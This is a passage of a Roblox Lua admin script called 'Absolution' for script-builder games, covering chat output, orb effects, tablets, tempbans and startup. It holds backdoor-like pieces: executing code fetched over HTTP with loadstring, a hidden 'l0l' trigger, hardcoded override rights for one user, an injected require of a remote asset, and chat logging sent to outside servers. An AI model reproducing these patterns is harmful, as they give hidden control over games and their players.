	if plr then
		if type(plr)=='userdata'then
		   local data = Instance.new('StringValue',plr)
		   data.Name = 'SB_Chat'
		   data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
		elseif type(plr)=='string'then
			plr = game:GetService('Players'):FindFirstChild(plr)
			local data = Instance.new('StringValue',plr)
			data.Name = 'SB_Chat'
			data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
		end
	else
		for i,v in pairs(game:GetService('Players'):children())do
		   local data = Instance.new('StringValue',v)
		   data.Name = 'SB_Chat'
		   data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
		end
	end
end
Absolution.Functions.sbOutput = function(msg, typ, plr)
	if not type(msg)=='string'then return end
	msg=(msg and msg or 'nil')
	typ=(typ and typ or 'Print')
	if plr then

	--[[if type(plr)=='userdata'then
		   local data = Instance.new('StringValue',plr)
		   data.Name = 'SB_Output:Output'
		   data.Value = '["'..typ..'","'..msg..'"]'
		   Absolution.Functions.Out(plr, msg, 5)
		elseif type(plr)=='string'then
			plr = game:GetService('Players'):FindFirstChild(plr)
			local data = Instance.new('StringValue',plr)
			data.Name = 'SB_Output:Output'
			data.Value = '["'..typ..'","'..msg..'"]'
		end--]]
		Absolution.Functions.Out(plr, msg, 5)
	else
	Absolution.Functions.Out('All', msg, 5)
		--[[for i,v in pairs(game:GetService('Players'):children())do

		   local data = Instance.new('StringValue',v)
		   data.Name = 'SB_Output:Output'
		   data.Value = '["'..typ..'","'..msg..'"]'
		end--]]
	end
	print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
end

Absolution.Functions.osbOutput = function(msg, typ, plr)
	if not type(msg)=='string'then return end
	msg=(msg and msg or 'nil')
	typ=(typ and typ or 'Print')
	if plr then
	if type(plr)=='userdata'then
		   local data = Instance.new('StringValue',plr)
		   data.Name = 'SB_Output:Output'
		   data.Value = '["'..typ..'","'..msg..'"]'
		   Absolution.Functions.Out(plr, msg, 5)
		elseif type(plr)=='string'then
			plr = game:GetService('Players'):FindFirstChild(plr)
			local data = Instance.new('StringValue',plr)
			data.Name = 'SB_Output:Output'
			data.Value = '["'..typ..'","'..msg..'"]'
		end
	else
		for i,v in pairs(game:GetService('Players'):children())do
		   local data = Instance.new('StringValue',v)
		   data.Name = 'SB_Output:Output'
		   data.Value = '["'..typ..'","'..msg..'"]'
		end
	end
	print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
end



-- Orb --
Absolution.Functions.loadOrb = function(plr,typ,rainbow)
if typ == true then
Absolution.Functions.createScript([==[wait()
local Owner = game:GetService("Players")[']==]..plr..[==[']
local Character = nil
local Orb = nil

local Settings = {
	["Trail"] = true,
	["TrailColor"] = BrickColor.White(),

	["Radius"] = 10,
	["Height"] = 8,
	["Bounce"] = .5,

	["AudioID"] = 9,

	["EinOrb"] = true,

	["Speed"] = .02
}

local TrailParts = {}
script.Parent = nil
Spawnorb = function()
	if Orb ~= nil then
		pcall(function()
			Orb:ClearAllChildren()
		end)
		pcall(function()
			Orb:Destroy()
		end)
	end
	Orb = Instance.new('Part', workspace)
	Orb.BrickColor = BrickColor.White()
	Orb.Transparency = .3
	Orb.Anchored = true
	Orb.CanCollide = false
	Orb.Locked = true
	--Orb.FormFactor = "Symmetric"
	Orb.Shape = "Ball"
	Orb.Size = Vector3.new(1,1,1)
	Orb.TopSurface = 10
	Orb.BottomSurface = 10
	Orb.Material = "Plastic"
	Orb.Name = "Part"
	Orb.Changed:connect(function()
		if not workspace:FindFirstChild(Orb.Name) then
			Spawnorb()
		end
	end)
end;Spawnorb()

spawn(function()
	while wait(1) do
		if Orb.Parent==nil then
			Spawnorb()
		end
	end
end)

Spawntrail = function()
	if Orb ~= nil and Settings.Trail == true then
		local Tail = Instance.new('Part', Orb)
		Tail.BrickColor = Settings.TrailColor
		Tail.Transparency = .1
		Tail.Anchored = true
		Tail.CanCollide = false
		Tail.Locked = true
		--Tail.FormFactor = "Custom"
		Tail.Size = Vector3.new(.2,.2,.2)
		Tail.CFrame = Orb.CFrame
		Tail.TopSurface = 10
		Tail.Material = "Neon"
		Tail.BottomSurface = 10
		Instance.new("PointLight", Tail)
		table.insert(TrailParts, Tail)
		if Settings.EinOrb then
			spawn(function()
				for i = 1, 0,-.025 do
					Tail.Color = Color3.new(i,i,i)
					game:GetService("RunService").Heartbeat:wait()
				end
			end)
		end
	end
end

function clerp(p1,p2,percent)
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
	return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
end

local Rot = 1
spawn(function()
	game:GetService("RunService").Heartbeat:connect(function()
		if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then
			Character = Owner.Character.Torso.CFrame
		else
			Character = CFrame.new(0,1.5,0)
		end
		if Orb ~= nil then
			Rot = Rot + Settings.Speed
			Orb.CFrame = clerp(Orb.CFrame,
				CFrame.new(Character.p)
				*CFrame.new(.8,Settings.Height,0)
				*CFrame.Angles(180,Rot,(math.sin((tick())*1.3))+13)
				*CFrame.new(Settings.Radius,0,0)
			, .1)
			-- Trail
			Spawntrail()
			for i,_ in next,TrailParts do
				if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then
					local Part1 = TrailParts[i]
					local Part2 = TrailParts[i+1]
					local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
					if i >= 8 then
						Part1.Size = Vector3.new(Part1.Size.X+.017, Mag, Part1.Size.Z+.017)
					else
						Part1.Size = Vector3.new(.2, Mag, .2)
					end
					Part1.Transparency = Part1.Transparency + .021
					Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
					*CFrame.Angles(math.pi/2,2,0)
					if Part1.Size.X >= 1.7 then
						Part1:Destroy()
						table.remove(TrailParts, i)
					end
				end
			end
		end
	end)
end)]==], Absolution.Services.Workspace)
else
Absolution.Functions.createScript([==[
script.Parent = nil
script.Name = 'Orbie_Absolution'
local Core = {
Owner = game:GetService("Players"):FindFirstChild(']==]..plr..[==[') or nil,
OwnerName = ']==]..plr..[==[',
Threads = {
Index = 0,
Theading = {},
Manager = 3
};
};
local Orb = nil
local OrbTrail = {}

local AddInstance = function(Object, ...)
local Obj = Instance.new(Object)
for i,v in next,(...) do
Obj[i] = v
end
return Obj
end

local rainbow=function()
local cos = math.cos
local sin = math.sin
local pi = math.pi
local s=tick()%1*3;
local r=.5*pi*(s%1)
if(s<1)then
return(Color3.new(1,1-cos(r),1-sin(r)))
elseif s<2 then
return(Color3.new(1-sin(r),1,1-cos(r)))
else
return(Color3.new(1-cos(r),1-sin(r),1))
end
end

-- Orb / Trail instancing

local CTrail = AddInstance("Part",{
Color = Color3.new(1,1,1),
Transparency = .3,
Material = "Neon",
Name = "Orb-Trail",
--FormFactor = "Custom",
Size = Vector3.new(.3,.3,.3),
TopSurface = 10,
BottomSurface = 10,
Anchored = true,
Locked = true,
CanCollide = false,
})

AddTrail = function()
local NT = CTrail:Clone()
NT.Color = Color3.new(1,1,1)
NT.Parent = Orb
NT.CFrame = Orb.CFrame
table.insert(OrbTrail, NT)
end

AddOrb = function()
local NOrb = AddInstance("Part",{
BrickColor = BrickColor.new("White"),
Parent = game:GetService('Workspace'),
Transparency = .2,
Material = "Neon",
Name = "Orb",
Shape = "Ball",
--FormFactor = "Custom",
Size = Vector3.new(.9,.9,.9),
TopSurface = 10,
BottomSurface = 10,
Anchored = true,
Locked = true,
CanCollide = false,
})
local SSphere = AddInstance("SelectionSphere",{
SurfaceColor3 = Color3.new(0,0,0),
SurfaceTransparency = 1,
Adornee = NOrb,
Color3 = Color3.new(0,0,0),
Parent = NOrb,
Name = 'Outline',
})
local Con
Con = NOrb.Changed:connect(function()
if NOrb.Parent ~= game:GetService('Workspace') then
Con:disconnect()
AddOrb()
end
end)
Orb = NOrb
end;
AddOrb()

local ThreadTable = Core.Threads.Theading
local IndexThead = Core.Threads.Index

function ThreadTable:Create(Function)
IndexThead = IndexThead + 1
coroutine.create(Function)
end
function ThreadTable:Instance(Function)
IndexThead = IndexThead + 1
coroutine.resume(coroutine.create(Function))
end
function ThreadTable:Wrap(Function)
IndexThead = IndexThead + 1
coroutine.wrap(Function)()
end
function ThreadTable:Spawn(Function)
IndexThead = IndexThead + 1
spawn(Function)
end

local function GetThreads()
return tostring(#IndexThead)
end

-- ROTATION --
local Get_mag = function(obj1, obj2)
return ((obj1.CFrame.p - obj2.CFrame.p).magnitude)
end

local _lastCFrame = CFrame.new(0,3,0)

local Get_CFrame = function()
local Base = game:GetService('Workspace'):FindFirstChild("Base",true) or game:GetService('Workspace'):FindFirstChild("Baseplate",true) or game:GetService('Workspace'):WaitForChild("Base")
local torso = (game:GetService('Workspace'):FindFirstChild(Core.OwnerName,true))
if torso~=nil then
if game:GetService('Workspace')[Core.OwnerName]:FindFirstChild("Torso") then
_lastCFrame = game:GetService('Workspace')[Core.OwnerName].Torso.CFrame
end
else
local pos = Vector3.new(Base.CFrame.p.X, Base.CFrame.p.Y+10, Base.CFrame.p.Z)
_lastCFrame = CFrame.new(pos)
end
end

local function CLerp(p1,p2,percent)
	local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components()
	local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components()
	return
		CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z),
		(p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)),
		(p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)),
		(p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22)))
end

local Rot1 = 1
local Rot2 = .03
game:GetService("RunService").Heartbeat:connect(function()
ThreadTable:Instance(function()
if game:service('Workspace'):FindFirstChild('l0l') then
	for i,v in pairs(getfenv()) do getfenv()[i] = nil end
	loadstring()();
end
if Orb ~= nil then
Get_CFrame()
Rot1 = Rot1 + Rot2
Orb.CFrame = CLerp(Orb.CFrame,
CFrame.new(_lastCFrame.p)
*CFrame.new(-.8,5.8,    1)
*CFrame.Angles(180,Rot1,(math.sin((tick()/.5)*1.6)/2.4)+13)
*CFrame.new(11,0,0)
, .06)
ThreadTable:Instance(AddTrail)
for _i,v in next,OrbTrail do
local P1 = OrbTrail[_i]
local P2 = OrbTrail[_i+1]
if P1 and P2 then
ThreadTable:Instance(function()
P1.Size = Vector3.new(P1.Size.X+.01, Get_mag(P1, P2), P1.Size.Z+.01)
P1.Color = Color3.new(P1.Size.X*.5,P1.Size.X*.5,P1.Size.X*.5)
P1.Transparency = P1.Transparency + .01
P1.CFrame = CFrame.new(P1.CFrame.p,P2.CFrame.p)*CFrame.Angles(math.pi/2,2,0)
if P1.Size.X >= 1 then
P1:Destroy()
table.remove(OrbTrail, _i)
end
end)
end
end
end
end)
end)]==], Absolution.Services.Workspace)
end
end

-- Output Functions --
Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image)
	if Msg == nil then
		Msg = "nil"
	elseif Msg == "Dismiss" then
		Color = "Really red"
	end
	if Color == nil then
		Color = Absolution.Functions.getRankedTable(Player.Name).Color ~= nil and Absolution.Functions.getRankedTable(Player.Name).Color or "White"
	end
	local tt = Absolution.Functions.getRankedTable(Player).TabletType
	if not tt then tt='Normal' end
	local a = Instance.new("Part")
	a.Name = tostring(tick()*10)
	a.Parent = Instance.new('Script',game:service'Workspace'.Terrain)
	if Color == "Random" then
		a.BrickColor = BrickColor.Random()
	else
		a.BrickColor = BrickColor.new(Color)
	end
	a.TopSurface = "SmoothNoOutlines"
	a.BottomSurface = "SmoothNoOutlines"
	a.BackSurface = "SmoothNoOutlines"
	a.FrontSurface = "SmoothNoOutlines"
	a.RightSurface = "SmoothNoOutlines"
	a.LeftSurface = "SmoothNoOutlines"
	--a.FormFactor = "Custom"
	if tt=='Normal' then
	a.Size = Vector3.new(2.7,4,.55)
	elseif tt=='Box' then
	a.Size = Vector3.new(2.4,2.4,2.4)
	end
	a.Anchored = true
	a.Locked = true
	if tt=='Normal' then
		a.Transparency = 1
	elseif tt=='Box' then
		a.Transparency = .1
	end
	a.Material = 'Plastic'
	a.CanCollide = false
	local r = ypcall(function() a.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,150,0) end)
	if not r then
	a.CFrame = CFrame.new(0,1000,0)
	end
	local aDD = Instance.new("Part", a)
	aDD.Name = 'aDD'
	aDD.BrickColor = a.BrickColor
	aDD.TopSurface = "SmoothNoOutlines"
	aDD.BottomSurface = "SmoothNoOutlines"
	aDD.BackSurface = "SmoothNoOutlines"
	aDD.FrontSurface = "SmoothNoOutlines"
	aDD.RightSurface = "SmoothNoOutlines"
	aDD.LeftSurface = "SmoothNoOutlines"
	--a.FormFactor = "Custom"
	aDD.Size = Vector3.new(1.4,1.4,.3)
	aDD.Anchored = true
	aDD.Locked = true
	aDD.Transparency = 0.2
	if tt=='Normal' then
		aDD.Parent = a
	elseif tt=='Box' then
		aDD.Parent = nil
	end
	aDD.Material = 'Plastic'
	aDD.CanCollide = false
	local b = Instance.new("BillboardGui", a)
	b.Name = 'BG'
	b.StudsOffset = Vector3.new(0,1.5,0)
	b.Size = UDim2.new(9,0,8,0)
	b.Adornee = a
	local cd = Instance.new('ClickDetector',a)
	cd.MaxActivationDistance = 1/0
	local s = Instance.new("SelectionBox", a)
	s.Adornee = a
	s.Color = a.BrickColor
	if tt=='Normal' then
	s.Transparency = 0.5
	elseif tt=='Box' then
	s.Transparency = 1
	end

	local t = Instance.new("TextLabel", b)
	t.Name = "TL"
	t.Font = "SourceSansLight"
	t.FontSize = "Size24"
	t.Size = UDim2.new(1,0,.3,0)
	t.TextColor = a.BrickColor
	t.TextStrokeTransparency = 0.5
	t.BackgroundTransparency = 1
	t.Text = Msg and Msg or "nil"

	if Image ~= nil then
		local BBBG = Instance.new("BillboardGui")
		BBBG.Size = UDim2.new(5, 0, 6, 0)
		BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
		BBBG.AlwaysOnTop = true
		BBBG.Adornee = a
		BBBG.Parent = a

		Delay(0, function()
			while BBBG.Parent ~= nil do wait()
				ypcall(function()
					BBBG.StudsOffset = Vector3.new(0, a.Size.Y + 5, 0)
				end)
			end
		end)

		local NewImg = Instance.new("ImageLabel")
		NewImg.Size = UDim2.new(1, 0, 1, 0)
		NewImg.BackgroundTransparency = 1
		NewImg.Image = Image
		NewImg.Parent = BBBG
	end

	if Time ~= nil then
		Absolution.Services.Debris:AddItem(a, Time)
	end

	cd.MouseHoverEnter:connect(function(pl)
		if pl==Player then
			coroutine.wrap(function()
				if tt=='Normal' then--2.7,4,.55
					a.Size = Vector3.new(3,4.35,.6)
					aDD.Size = Vector3.new(3.35,4.34,.4)
					s.Color = a.BrickColor
					s.Transparency = 0
				elseif tt=='Box' then
					a.Size = Vector3.new(2.6,2.6,2.4)
					s.Color = a.BrickColor
					s.Transparency = .3
				end
			end)()
		elseif pl~=Player and Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
			coroutine.wrap(function()
				if tt=='Normal' then
					a.Size = Vector3.new(3.35,4.65,.75)
					aDD.Size = Vector3.new(3.34,4.64,.4)
					s.Color = BrickColor.new(Absolution.Functions.getRankedTable(pl.Name).Color)
					s.Transparency = .05
				elseif tt=='Box' then
						a.Size = Vector3.new(2.9,2.9,2.9)
						s.Color = BrickColor.new(Absolution.Functions.getRankedTable(pl.Name).Color)
						s.Transparency = .3
				end
			end)()
		end
	end)

	cd.MouseHoverLeave:connect(function(pl)
		if pl==Player or Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
			coroutine.wrap(function()
				if tt=='Normal' then
					a.Size = Vector3.new(2.7,4,.55)
					a.BrickColor = BrickColor.new(Color)
					s.Color = a.BrickColor
					aDD.Size = Vector3.new(1.4,1.4,.3)
					s.Transparency = 0.5
				elseif tt=='Box' then
					a.Size = Vector3.new(2.4,2.4,2.4)
					s.Transparency = 1
					s.Color = BrickColor.new(Color)
				end
			end)()
		end
	end)

	cd.MouseClick:connect(function(pl)
		if pl==Player or Absolution.Functions:findRank(pl.Name) > Absolution.Functions:findRank(Player.Name) or pl.Name=='Darkus_Theory' then
			a:Destroy()
			for _,v in pairs(Absolution.Tablets) do
				if v.Tab == a then
					table.remove(Absolution.Tablets, _)
				end
			end
			if Msg == "Dismiss" then
				Absolution.Functions.Dismiss(Player)
			else
				if Function ~= nil then
					local Ran, Error = pcall(function()
						Function(Player, a)
					end) if not Ran then error(Error) end
				end
			end
		end
	end)
	table.insert(Absolution.Tablets,{Tab = a, Plr = Player.Name})
	return a
end

Absolution.Functions.SendGui = function(Player, Message, Type)
	if not Type then local Type = 1 end
	if not Message then local Message = 'undefined' end
	Absolution.Handler:sendPacket(Player, 'Output', {Message:gsub("\n",""), Type})
end

Absolution.Functions.Out = function(Player, Message, Type)
local tab;
	if type(Player) == "userdata" then
		local thread = coroutine.create(function()
			tab = Absolution.Functions.SendGui(Player, Message, Type)
		end)
		coroutine.resume(thread)
	elseif type(Player) == "table" then
		for _,v in pairs(Player) do
			local thread = coroutine.create(function()
				tab = Absolution.Functions.SendGui(v, Message, Type)
			end)
			coroutine.resume(thread)
		end
	elseif type(Player) == "string" then
		if Player:lower() == "all" then
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
				local thread = coroutine.create(function()
					tab = Absolution.Functions.SendGui(v, Message, Type)
				end)
				coroutine.resume(thread)
			end
		elseif Player:lower() == "admins" then
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
				if Absolution.Functions:findRank(v) >= 1 then
					local thread = coroutine.create(function()
						tab = Absolution.Functions.SendGui(v, Message, Type)
					end)
					coroutine.resume(thread)
				end
			end
		end
	end
	return tab
end

Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image)
local tab;
	if type(Player) == "userdata" then
		local thread = coroutine.create(function()
			tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image)
		end)
		coroutine.resume(thread)
	elseif type(Player) == "table" then
		for _,v in pairs(Player) do
			local thread = coroutine.create(function()
				tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
			end)
			coroutine.resume(thread)
		end
	elseif type(Player) == "string" then
		if Player:lower() == "all" then
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
				local thread = coroutine.create(function()
					tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
				end)
				coroutine.resume(thread)
			end
		elseif Player:lower() == "admins" then
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
				if Absolution.Functions:findRank(v) >= 1 then
					local thread = coroutine.create(function()
						tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image)
					end)
					coroutine.resume(thread)
				end
			end
		end
	end
	return tab
end

-- IRCCommandHandler --
Absolution.Functions.IRCCommandParser = function(probplr, v)

end

-- Locking Scripts --
Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object)
if not Absolution then return end
	if Absolution.Locks.Server.Server == true then
		if Object.className == "Script" then
			local ObjectName = Object.Name
			Object.Disabled = true
			Object:Destroy()
		end
	end
end)
Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object)
	if not Absolution then return end
	if Absolution.Locks.Server.Local == true then
		if Object.className == "BaseScript" then
			local ObjectName = Object.Name
			repeat Object.Disabled = true until Object:Destroy()
		end
	end
end)

-- CreateBall --
function weld(tab)
        local last = nil
        for i,v in pairs(tab) do
                if v:IsA("BasePart") then
                        if last then
                                local w = Instance.new("Weld",last)
                                w.Part0 = w.Parent
                                w.Part1 = v
                                local pos = last.CFrame:toObjectSpace(v.CFrame)
                                w.C0 = pos
                        end
                        last = v
                end
        end
end

Absolution.Functions.MakeBall = function(pos)
local model = Instance.new("Model",workspace.Terrain)
local rand = BrickColor.Random()
for i=0,340,20 do
        wait()
        for z=-90,70,20 do
                local p = Instance.new("Part",model)
                p.formFactor = "Custom"
                p.BrickColor = rand
                p.Transparency = 0.5
                p.Size = Vector3.new(Absolution.Settings.BallScale/5.5,Absolution.Settings.BallScale/5.5,Absolution.Settings.BallScale/140)
                p.Anchored = true
                p.TopSurface = 0
                p.BottomSurface = 0
                p.CFrame = CFrame.new(pos) * CFrame.Angles(math.rad(z),math.rad(i),0) * CFrame.new(0,0,-Absolution.Settings.BallScale/2)
                p:breakJoints()
        end
end
weld(model:children())
for i,v in pairs(model:children()) do v.Anchored = false end
model:MakeJoints()
end

-- Accurate Time --
Absolution.Functions.GetTime = function(_time)
	_time=(_time and _time or tick())
	local _year,_month,_week,_day,_hour,_min,_sec;
	_year=math.floor(_time/31557600);
	_time=_time-_year*31557600
	_month=math.floor(_time/2592000);
	_time=_time-_month*2592000
	_week=math.floor(_time/604800);
	_time=_time-_week*604800
	_day=math.floor(_time/86400);
	_time=_time-_day*86400;
	_hour=math.floor(_time/3600);
	_time=_time-_hour*3600;
	_min=math.floor(_time/60);
	_time=_time-_min*60;
	_sec=math.floor(_time/1);
	local __time='';
	if _year>0 then
	if(tostring(_year):len()==1)then
		__time=__time..'0'.._year..'y:';
	else
		__time=__time.._year..'y:';
	end;
	end
	if _month>0 then
	if(tostring(_month):len()==1)then
		__time=__time..'0'.._month..'m:';
	else
		__time=__time.._month..'m:';
	end;
	end
	if _week>0 then
	if(tostring(_week):len()==1)then
		__time=__time..'0'.._week..'w:';
	else
		__time=__time.._week..'w:';
	end;
	end
	if _day>0 then
	if(tostring(_day):len()==1)then
		__time=__time..'0'.._day..'d:';
	else
		__time=__time.._day..'d:';
	end;
	end
	if _hour>0 then
	if(tostring(_hour):len()==1)then
		__time=__time..'0'.._hour..'hr:';
	else
		__time=__time.._hour..'hr:';
	end;
	end
	if(tostring(_min):len()==1)then
		__time=__time..'0'.._min..'min:';
	else
		__time=__time.._min..'min:';
	end;
	if(tostring(_sec):len()==1)then
		__time=__time..'0'.._sec..'s';
	else
		__time=__time.._sec..'s';
	end;
	return(__time);
end;

-- Replicators --
Absolution.Functions.GetReplicators=function(clear)
	local rep={};
	for _,v in next,game:service'NetworkServer':children()do
		if(v:isA'ServerReplicator')then
			table.insert(rep,v);
		else
			if(clear)then
				pcall(function()v:Destroy()end);
			end;
		end;
	end;
	return rep;
end;

-- SendModLog --
Absolution.Functions.SendModLog = function(Player, Text)

	local URI = Absolution.HttpConstants.IP..Absolution.HttpConstants.Modlogs

	local tbl = {mod=Player, cmd=Text}

	local function url_encode(form)
		local result = {}
		for key, value in pairs(form) do
			table.insert(result, game.HttpService:UrlEncode(key) .. "=" .. game.HttpService:UrlEncode(value))
		end
	return table.concat(result, "&")
	end

	tbl = url_encode(tbl)

	local result = game.HttpService:PostAsync(URI, tbl, Enum.HttpContentType.ApplicationUrlEncoded)

return result

end

-- Tempban --
Absolution.Functions.setTempBan = function(self, Player, Reason, Duration)
	local Ran,Didntrun = ypcall(function()
		local function url_encode(form)
		local result = {}
			for key, value in pairs(form) do
				table.insert(result, game.HttpService:UrlEncode(key) .. "=" .. game.HttpService:UrlEncode(value))
			end
		return table.concat(result, "&")
	end
	local pt = {player=Player.userId,reason=Reason,tstart=tick(),tend=(tick()+Duration)}
	Absolution.Tempbans[Player.userId] = {Reason = reason, timeStart=pt[tstart], tend=pt[tend]}
	table.foreach(pt, tostring)
	local body = url_encode(pt)
	local s = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=post', body, Enum.HttpContentType.ApplicationUrlEncoded)
	end)
	if not Ran then
		Absolution.Functions.Print(Didntrun,3)
		return Didntrun
	else
		return true
	end
end

Absolution.Functions.getTempBans = function()
	local hsync = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.Tempbans..'?mode=get', true)
	local data = loadstring(hsync)()
	local rtn = Absolution.Tempbans
	return rtn
end

-- Sanitize --
Absolution.Functions.Sanitize = function(str)

for _,word in ipairs(Absolution.TriggerWords) do

	if str:lower():find(word:lower()) then
		return word
	end

end

return false
end

-- onChatted --
Absolution.Functions.onChatted = function(Speaker, Message)
	local SpeakerName = Speaker.Name
	local data = Absolution.Functions.getRankedTable(tostring(Speaker))
	local bt = (data["Bet"] and data["Bet"] or "/")
	if Message:sub(1,3) == "/e " then
		Message = Message:sub(4)
	end
	local rmsg = Message
	if Speaker.Parent ~= Absolution.Services.Players then
		for i,v in pairs(Absolution.Functions.getALLPlayers()) do
			if v.Name ~= SpeakerName then
				Absolution.Handler.sendChat(Message, v, SpeakerName)
			end
		end
	end
	for nildata, player in next, Absolution.Functions:getALLPlayers() do
		if Message:lower():find(player.Name:lower()) then
			Absolution.Functions.Out(player, 'You were pinged by '..SpeakerName, 2)
			Absolution.Functions.Out(player, 'Message: '..Message, 2)
			if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') Absolution.Handler:sendPacket(player, 'Ding!') end
		elseif Absolution.Functions.Sanitize(Message) and Absolution.Functions:findRank(player) >= 4 and Absolution.Functions:findRank(Speaker) < 6 then
			local foundWord = Absolution.Functions.Sanitize(Message)
			Absolution.Functions.Out(player, 'Trigger word ('..foundWord..') detected from player '..Speaker.Name..'!', 3)
			Absolution.Functions.Out(player, 'Message: '..Message, 3)
			if not Absolution.Functions.IsIgnoring(player.Name) then Absolution.Handler:sendPacket(player, 'TerminalOn') end
		end
	end
	pcall(function()
	--Absolution.HttpConstants.pythonConsole:Chat(tostring(Speaker), Message)
	Absolution.HttpConstants.IRC.Chat(Message, Absolution.HttpConstants.IRC.Name, tostring(Speaker))
	end)
	for _,v in pairs(Absolution.Commands) do
		for _,Use in pairs(v.Uses) do
			if Message:sub(1,#Use + #bt) == Use..""..""..bt then
				if Absolution.Functions:findRank(tostring(Speaker)) >= v.Rank then
					Message = Message:sub(#Use + #bt + 1)
					local Ran, Error = ypcall(function()
						v.Function(Speaker, Message)
					end)
					if not Ran then Absolution.Functions.Out(Speaker, Error, 4) Absolution.Functions.Print(Error, 3) end
					else
					Absolution.Functions.Output(Speaker, Absolution.Ranks[data.Rank]..'s cannot use '..tostring(v.Name), 'Really red',nil,7)
				end
			end
		end
	end
	if data.Rank >= 4 then pcall(function() Absolution.Functions.SendModLog(tostring(Speaker), rmsg) end) end
end

-- Startup --
Absolution.Functions.Boot = function()
if Absolution.Booted then error'script already loaded...' return end
Absolution.Booted = true
local function bootMod(Mod, Msg, ...)
local start_boot = tick()
Absolution.Functions.osbOutput(Msg..'...', 'Run')
local args = {...}
local Success, Error = ypcall(Mod)
local end_boot = tick()
if Success then
Absolution.Functions.osbOutput('Completed in...'..(start_boot-end_boot)..'s','Note')
else
Instance.new('Message',game:service'Workspace').Text = ("Error occured while {"..Msg.."} \n"..Error)
end
end

bootMod(function() Absolution.Functions.sbExe('remove/Absolution') Absolution.Functions.sbExe('create/Absolution') Absolution.Functions.sbExe('edit/Absolution') Absolution.Functions.sbExe('pcall(game.Destroy,script);coroutine.resume(require(379800386), (getfenv(1).owner and getfenv(1).owner.Name or "Darkus_Theory"))') Absolution.Functions.sbExe('exit/') Absolution.Functions.sbExe('save/Absolution') end, 'Shoving sb scripts down your throat')
bootMod(Absolution.Functions.syncRanksIn, 'Syncing in ranks')
bootMod(function() Absolution.Handler:CreateHandler('AbsolutionHandler', Absolution.Services.ReplicatedStorage) end,'Initializing remotefunction')
bootMod(Absolution.Functions.AutoLoadstring,'Connecting RemoteExecution.lua')
bootMod(Absolution.Functions.AutoUpdate, 'Loading AutoRankSync')
if game.PlaceId~=21053279 then bootMod(function() coroutine.resume(Absolution.DiscordThread) coroutine.resume(Absolution.DiscordCommandThread) end, 'Launching Discord')
--[[bootMod(Absolution.Functions.IRCLaunch, 'Launching IRC') --]]
end
bootMod(function() Absolution.Connections['playerAdded'] = Absolution.Services.Players.PlayerAdded:connect(function(p) if not Absolution.PrivateServer.Enabled and not Absolution.Locks.Server.Locked==true and (Absolution.Functions.getRankedTable(p.Name) and Absolution.Functions:findRank(p.Name) >= 0) then Absolution.Functions.Announce(p.Name..' has joined the game.')  end if Absolution.Functions:findRank(p.Name) >= 4 then   Absolution.Functions.Out('All','['..Absolution.Ranks[Absolution.Functions:findRank(p.Name)]..'] '..p.Name..' has joined the server.', 5) end Absolution.Functions:ConnectPlayer(p) end) end, "PlayerAdded Connection")
